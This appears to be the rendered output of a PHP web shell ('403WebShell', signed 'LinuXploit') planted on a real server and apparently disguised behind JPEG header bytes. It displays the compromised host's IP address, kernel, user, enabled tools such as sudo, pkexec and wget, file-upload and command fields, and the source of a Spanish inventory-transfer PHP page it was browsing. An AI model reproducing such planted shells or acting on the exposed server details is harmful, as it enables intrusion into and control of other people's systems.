����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.157
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/t/sae/appsae/core/app/view/traspase-view.php
<?php
// $symbol = ConfigurationData::getByPreffix("currency")->val;
if(!isset($_SESSION["stock_idTraspace"])){ Core::redir("./?view=selectstock"); }
$iva_name = ConfigurationData::getByPreffix("imp-name")->val;
$iva_val = ConfigurationData::getByPreffix("imp-val")->val;

$origin = StockData::getById($_SESSION["stock_idTraspace"]);
?>
<section class="content">
<div class="row">
	<div class="col-md-12">
	
	<nav class = "navbar navbar-inverse">
		<div class = "container-fluid">
			<a href = "#" class = "navbar-brand">Traspaso entre Inventarios</a>
		</div>
	</nav>
	
	
	<h4 >Origen: <?php echo $origin->name; ?></h4>
	<p><b>Buscar producto por nombre o por codigo:</b></p>
		
		
		
		<form>
			<div class="row">
			
				<div class="col-md-6">
						<input type="hidden" name="view" value="traspase">
					<input type="text" id="product" name="product" class="form-control" placeholder="Buscar por nombre...Use palabras clave">
				
					<input type="text" id="code" name="code" class="form-control" placeholder="Buscar por codigo">
				</div>
				
			
				<div class="col-md-3">
				<button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i> Buscar</button>
				</div>
		
			</div>
	    </form>
	</div>
<script type='text/javascript'>
document.forms[0].elements["code"].focus()
document.forms[0].elements["code"].select()
</script>

<div class="col-md-12">

<?php if(isset($_GET["product"])&&($_GET["product"]!="")):?>
	
	<?php
			
			$id=$_GET["product"];
			$products = ProductData::getAll_2($id);
	if(count($products)>0){
	?>
		<h3>Resultados de la Busqueda</h3>
		<div class="box box-primary">
		<table class="table table-bordered table-hover">
			<thead>
				<th>Codigo</th>
				<th>Nombre</th>
				<th>Unidad</th>
				<th>Precio Costo</th>
				<th>Existencia en </th>
				<th>Cantidad</th>
				<th style="width:100px;"></th>
			</thead>
	<?php
		$products_in_cero=0;
		foreach($products as $product):
	?>
			
			<form method="post" action="index.php?view=addtotraspase">
			<tr class="<?php if($q<=$product->inventary_min){ echo "danger"; }?>">
				<td style="width:80px;"><?php echo $product->id; ?></td>
				<td><?php echo $product->name; ?></td>
				<td><?php echo $product->unit; ?></td>
				<td><b>$<?php echo $product->price_in; ?></b></td>
				<td>
					
				</td>
				<td>
				<input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
				<input type="" class="form-control" required name="q" placeholder="Cantidad de producto ..."></td>
				<td style="width:100px;">
				<button type="submit" class="btn btn-success"><i class="glyphicon glyphicon-refresh"></i> Agregar</button>
				</td>
			</tr>
			</form>
		<?php endforeach;?>			
		</table>
		</div>
		<?php
		}else{
		?>
			<div class="box box-primary">
			<label>Producto no encontrado... </label>
		</div>
<?php 	}	
else:
?>
	
<?php endif; ?>
</div>

<div class="col-md-12">
	<div class="box box-primary"></div>
	<?php if(isset($_GET["code"])&&($_GET["code"]!="")):?>
		<?php
		$search=$_GET["code"];
		$product = ProductData::getBycode($search);
		if(isset($product)>0){
		?>
	<h3>Resultados de la Busqueda</h3>
	<div class = "table-responsive">	
						<table class = "table table-bordered">
		<thead class="alert-info">
			<th>Codigo</th>
			<th>Nombre</th>
			<th>Unidad</th>
			<th>Costo unitario</th>
			<th COLSPAN="4" align="center">    Almacenes</th>
			<th>Cantidad</th>
			<th style="width:100px;"></th>
		</thead>
		
		<?php
		$products_in_cero=0;	
		?>
		
				<?php 
					$stock_id = 1;
					//echo "......";
					// almacen 1---------------------------------------------
					//compras	
					$itotal2 =0;
					   $itotal2 = OperationData2::GetInputQByStock($product->id,$stock_id);
					//ordenes de compra
					$itotal_O = 0;
					   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
					//Total de entradas
					$entradas = 0;
					$entradas = $itotal2 + $itotal_O['0']->sum;
					
						//ventas en tabla t_sale_detail
					$vendedores = UserData::getByIdStock($stock_id);
					//print_r($vendedores);
					$totalV=0;
					foreach($vendedores as $vendedor){
							//ventas en tabla t_sale_detail por almacen
								$operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user);
								
							foreach($operations3 as $op)
							{
								$totalV = $totalV + $op->qty;
							}
					}
					
					//ajuste salida
					$totalAjusteS=0;
					$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id);
					
					//devoluciones de tabla operations
					$totalDev=0;
					$operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id);
					
						foreach($operations4 as $op2)
						{
							$totalDev = $totalDev + $op2->q;
						}
					//existencia 
					$existencia1=0;
					$existencia1 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
					?>
					
					<?php 
					 $stock_id = 2;
					//echo "......";
					// almacen 2---------------------------------------------
					//compras	
					$itotal2 =0;
					   $itotal2 = OperationData2::GetInputQByStock($product->id,$stock_id);
					//ordenes de compra
					$itotal_O = 0;
					   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
					//Total de entradas
					$entradas = 0;
					$entradas = $itotal2 + $itotal_O['0']->sum;
					
						//ventas en tabla t_sale_detail
					$vendedores = UserData::getByIdStock($stock_id);
					//print_r($vendedores);
					$totalV=0;
					foreach($vendedores as $vendedor){
							//ventas en tabla t_sale_detail por almacen
								$operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user);
								
							foreach($operations3 as $op)
							{
								$totalV = $totalV + $op->qty;
							}
					}
					
					//ajuste salida
					$totalAjusteS=0;
					$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id);
					
					//devoluciones de tabla operations
					$totalDev=0;
					$operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id);
					
						foreach($operations4 as $op2)
						{
							$totalDev = $totalDev + $op2->q;
						}
					//existencia 
					$existencia2=0;
					$existencia2 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
					?>
					
									<?php 
					$stock_id = 3;
					//echo"......";
					// almacen 3---------------------------------------------
					//compras	
					$itotal2 =0;
					   $itotal2 = OperationData2::GetInputQByStock($product->id,$stock_id);
					//ordenes de compra
					$itotal_O = 0;
					   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
					//Total de entradas
					$entradas = 0;
					$entradas = $itotal2 + $itotal_O['0']->sum;
					
						//ventas en tabla t_sale_detail
					$vendedores = UserData::getByIdStock($stock_id);
					//print_r($vendedores);
					$totalV=0;
					foreach($vendedores as $vendedor){
							//ventas en tabla t_sale_detail por almacen
								$operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user);
								
							foreach($operations3 as $op)
							{
								$totalV = $totalV + $op->qty;
							}
					}
					
					
					//ajuste salida
					$totalAjusteS=0;
					$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id);
					
					//devoluciones de tabla operations
					$totalDev=0;
					$operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id);
					
						foreach($operations4 as $op2)
						{
							$totalDev = $totalDev + $op2->q;
						}
					//existencia 
					$existencia3=0;
					$existencia3 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
					?>
					
					<?php 
					 $stock_id = 4;
					//echo "......";
					// almacen 4---------------------------------------------
					//compras	
					$itotal2 =0;
					   $itotal2 = OperationData2::GetInputQByStock($product->id,$stock_id);
					//ordenes de compra
					$itotal_O = 0;
					   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
					//Total de entradas
					$entradas = 0;
					$entradas = $itotal2 + $itotal_O['0']->sum;
					
						//ventas en tabla t_sale_detail
					$vendedores = UserData::getByIdStock($stock_id);
					//print_r($vendedores);
					$totalV=0;
					foreach($vendedores as $vendedor){
							//ventas en tabla t_sale_detail por almacen
								$operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user);
								
							foreach($operations3 as $op)
							{
								$totalV = $totalV + $op->qty;
							}
					}
					
					//ajuste salida
					$totalAjusteS=0;
					$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id);
					
					//devoluciones de tabla operations
					$totalDev=0;
					$operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id);
					
						foreach($operations4 as $op2)
						{
							$totalDev = $totalDev + $op2->q;
						}
					//existencia 
					$existencia4=0;
					$existencia4 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
					?>
		
			<form method="post" action="index.php?view=addtotraspase">
		<tr class="<?php if($q<=$product->inventary_min){ echo "danger"; }?>">
			<td style="width:80px;"><?php echo $product->barcode; ?></td>
			<td><?php echo $product->name; ?></td>
			<td><?php echo $product->unit; ?></td>
			<td>
			<b>  <input type="text" name="price_in" id="price_in" required value="<?php echo $product->price_in; ?>" class="form-control" placeholder="Efectivo"></b></td>
			
					<td><?php  echo $existencia1;?></td>
				   
						
					<td>
						<?php  echo $existencia2;?>
					</td>
					
					<td>
						<?php  echo $existencia3;?>
					</td>
					
					<td>
						<?php  echo $existencia4;?>
					</td>
			
			<td>
			<input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
			<input type="" class="form-control" required id="q" name="q" value="10" placeholder="Cantidad de producto ..."></td>
			<td style="width:100px;">
			<button type="submit" class="btn btn-success" id="btnadd2"><i class="glyphicon glyphicon-refresh"></i> Agregar</button>
			</td>
		</tr>
		</form>
		
	</table>
	</div>

	<script type='text/javascript'>
	document.forms[1].elements["q"].focus()
	document.forms[1].elements["q"].select()

	</script>
		<?php
	}
	?>
	<br><hr>
	<hr><br>
	<?php else:
	?>
		
	<?php endif; ?>
</div>




<div class="col-md-12">
<!--- Carrito de compras :) -->
<?php if(isset($_SESSION["traspase"])):
$total = 0;
?>

<h2>Lista de traspaso</h2>
<div class="box box-primary">
<table class="table table-bordered table-hover">
<thead>
	<th style="width:30px;">#interno</th>
	<th style="width:30px;">Cantidad</th>
	<th style="width:30px;">codigo</th>
	<th>Producto</th>
	<th style="width:30px;">Precio Costo</th>
	<th style="width:80px;">Precio Total</th>
	<th ></th>
</thead>
<?php foreach($_SESSION["traspase"] as $p):
$product = ProductData::getById($p["product_id"]);
?>
<tr >
	<td><?php echo $product->id; ?></td>
	<td ><?php echo $p["q"]; ?></td>
	<td><?php echo $product->barcode; ?></td>
	<td><?php echo $product->name; ?></td>
	<td><b>$ <?php echo number_format($product->price_in,2); ?></b></td>
	<td><b>$ <?php $pt = $product->price_in*$p["q"]; $total +=$pt; echo number_format($pt,2); ?></b></td>
	<td style="width:30px;"><a href="index.php?view=cleartraspase&product_id=<?php echo $product->id; ?>" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a></td>

</tr>
<?php endforeach; ?>
</table>
</div>
<form method="post" class="form-horizontal" id="processsell" action="index.php?view=processtraspase">
<h2>Resumen</h2>
<div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Destino</label>
    <div class="col-lg-10">
    <?php 
$clients = StockData::getAll();
    ?>
    <select name="stock_id" class="form-control" required>
    <option value="">-- NINGUNO --</option>
    <?php foreach($clients as $client):?>
    	
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
   
    <?php endforeach;?>
    	</select>
    </div>
  </div>
  <div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Tipo de Ajuste</label>
	
    <div class="col-lg-10">
    <?php 
$clients = AjustTypeData::getAll();
    ?>
    <select name="ajust_id" class="form-control">
	<option value="">-- Compra --</option>
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
	
    </div>
  </div>
  <div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Pago</label>
    <div class="col-lg-4">
    <?php 
$clients = PData::getAll();
    ?>
    <select name="p_id" class="form-control">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>
    <label for="inputEmail1" class="col-lg-2 control-label">Entrega</label>
    <div class="col-lg-4">
    <?php 
$clients = DData::getAll();
    ?>
    <select name="d_id" class="form-control">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>

  </div>
<!--
<div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Proveedor</label>
    <div class="col-lg-10">
    <?php 
$clients = PersonData::getProviders();
    ?>
    <select name="client_id" class="form-control">
    <option value="">-- NINGUNO --</option>
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name." ".$client->lastname;?></option>
    <?php endforeach;?>
    	</select>
    </div>
  </div>
<div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Pago</label>
    <div class="col-lg-4">
    <?php 
$clients = PData::getAll();
    ?>
    <select name="p_id" class="form-control">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>
    <label for="inputEmail1" class="col-lg-2 control-label">Entrega</label>
    <div class="col-lg-4">
    <?php 
$clients = DData::getAll();
    ?>
    <select name="d_id" class="form-control">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>

  </div>

<div class="form-group">
    <label for="inputEmail1" class="col-lg-2 control-label">Efectivo</label>
    <div class="col-lg-10">
      <input type="text" name="money" required class="form-control" id="money" placeholder="Efectivo">
    </div>
  </div>
  -->
  <div class="row">
<div class="col-md-6 col-md-offset-6">
<div class="box box-primary">
<table class="table table-bordered">
<tr>
	<td><p>Subtotal</p></td>
	<td><p><b>$ <?php echo number_format($total*(1 - ($iva_val/100) ),2,'.',','); ?></b></p></td>
</tr>
<tr>
	<td><p><?php echo $iva_name." (".$iva_val."%) ";?></p></td>
	<td><p><b>$ <?php echo number_format($total*($iva_val/100),2,'.',','); ?></b></p></td>
</tr>
<tr>
	<td><p>Total</p></td>
	<td><p><b>$ <?php echo number_format($total,2,'.',','); ?></b></p></td>
</tr>

</table>
</div>
  <div class="form-group">
    <div class="col-lg-offset-2 col-lg-10">
      <div class="checkbox">
        <label>
          <input name="is_oficial" type="hidden" value="1">
        </label>
      </div>
    </div>
  </div>
<div class="form-group">
    <div class="col-lg-offset-2 col-lg-10">
      <div class="checkbox">
        <label>
		<a href="index.php?view=cleartraspase" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a>
        <button class="btn btn-primary"><i class="fa fa-refresh"></i> Procesar Reabastecimiento</button>
        </label>
      </div>
    </div>
  </div>
</form>
</div>
</div>
</div>

<br><br><br><br><br>
<?php endif; ?>

</div>
</section>


<!-- Loading CSS -->
<style>
    .loading {
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background-color: white;
        display: flex;
        justify-content: center;
        align-items: center;
        z-index: 9999;
        transition: 1s all;
        opacity: 0;
    }
    .loading.show {
        opacity: 1;
    }
    .loading .spin {
        border: 3px solid hsla(185, 100%, 62%, 0.2);
        border-top-color: #3cefff;
        border-radius: 50%;
        width: 3em;
        height: 3em;
        animation: spin 1s linear infinite;
    }
    @keyframes spin {
      to {
        transform: rotate(360deg);
      }
    }            
</style>

<!-- Loading HTML -->
<div class="loading show">
    <div class="spin"></div>
</div>

<!-- Loading Javascript -->
<script>
// Loading
var Loading=(loadingDelayHidden=0)=>{let loading=null;const myLoadingDelayHidden=loadingDelayHidden;let imgs=[];let lenImgs=0;let counterImgsLoading=0;function incrementCounterImgs(){counterImgsLoading+=1;if(counterImgsLoading===lenImgs){hideLoading()}}function hideLoading(){if(loading!==null){loading.classList.remove('show');setTimeout(function(){loading.remove()},myLoadingDelayHidden)}}function init(){document.addEventListener('DOMContentLoaded',function(){loading=document.querySelector('.loading');imgs=Array.from(document.images);lenImgs=imgs.length;if(imgs.length===0){hideLoading()}else{imgs.forEach(function(img){img.addEventListener('load',incrementCounterImgs,false)})}})}return{'init':init}}

Loading(1000).init();
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit